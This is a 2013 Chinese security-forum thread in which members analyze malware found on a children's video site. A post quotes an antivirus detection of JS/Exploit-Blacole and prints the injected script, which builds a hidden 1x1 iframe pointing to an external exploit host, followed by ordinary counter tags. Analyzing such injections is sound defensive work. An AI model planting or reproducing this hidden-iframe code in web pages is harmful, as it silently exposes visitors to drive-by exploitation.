http://goga.tv/kids2010/index.php

墨家小子

2013/4/11        10:14:00        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6O1SYMVR\index[1].htm\0000c682.js        JS/Exploit-Blacole.jf (特洛伊)

哀酱俏佳人

(function () {
    var ozqr = document.createElement('iframe');

    ozqr.src = 'http://cerfust.nl/p
aprika/clik.php';
    ozqr.style.position = 'absolute';
    ozqr.style.border = '0';
    ozqr.style.
height = '1px';
    ozqr.style.width = '1px';
    ozqr.style.left = '1px';
    ozqr.style.top = '1px
';

    if (!document.getElementById('ozqr')) {
        document.write('<div id=\'ozqr\'></div>
');
        document.getElementById('ozqr').appendChild(ozqr);
    }
})();

<a href="http://www.top.ge/index.php?h=21390#21390" target=_blank><img src=
"http://counter.top.ge/cgi-bin/count?ID:21390+JS:12+REFERER:+RESOLUTION:1024X768+DEPT:24+RAND:0.5939
737233348588" alt="TOP.GE" border="0" /></a>


<a href="http://top.boom.ge/index.php?id=55733#55733"  target="_blank"><img src=
"http://links.boom.ge/count.php?topid=55733&ref=&res=1024x768" style="border: 0px" alt="BOOM.GE" />
</a>

蓝核

哀酱俏佳人 发表于 2013-4-11 13:09

哀酱……我解的跟你类似，但是我用趋势的网页评级对比过了……大部分很像是搜索引擎的SOE和广告网站……这个算啥

哀酱俏佳人

蓝核 发表于 2013-4-11 13:18
哀酱……我解的跟你类似，但是我用趋势的网页评级对比过了……大部分很像是搜索引擎的SOE和广告网站……这 ...

第一个引用就是挂马了ozqr.src = 'hxxp://cerfust.nl/p
aprika/clik.php

下面的都是收集用户访问数据的，一个搜索引擎，一个用户资料收集


大概是看用户偏好吧

蓝核

哀酱俏佳人 发表于 2013-4-11 13:23
第一个引用就是挂马了ozqr.src = 'hxxp://cerfust.nl/p
aprika/clik.php

http://global.sitesafety.trendmicro.com/result.php
不过不管他了~哦也~我晚上修改标题

哀酱俏佳人

蓝核 发表于 2013-4-11 13:24
http://global.sitesafety.trendmicro.com/result.php
不过不管他了~哦也~我晚上修改标题

上课了，88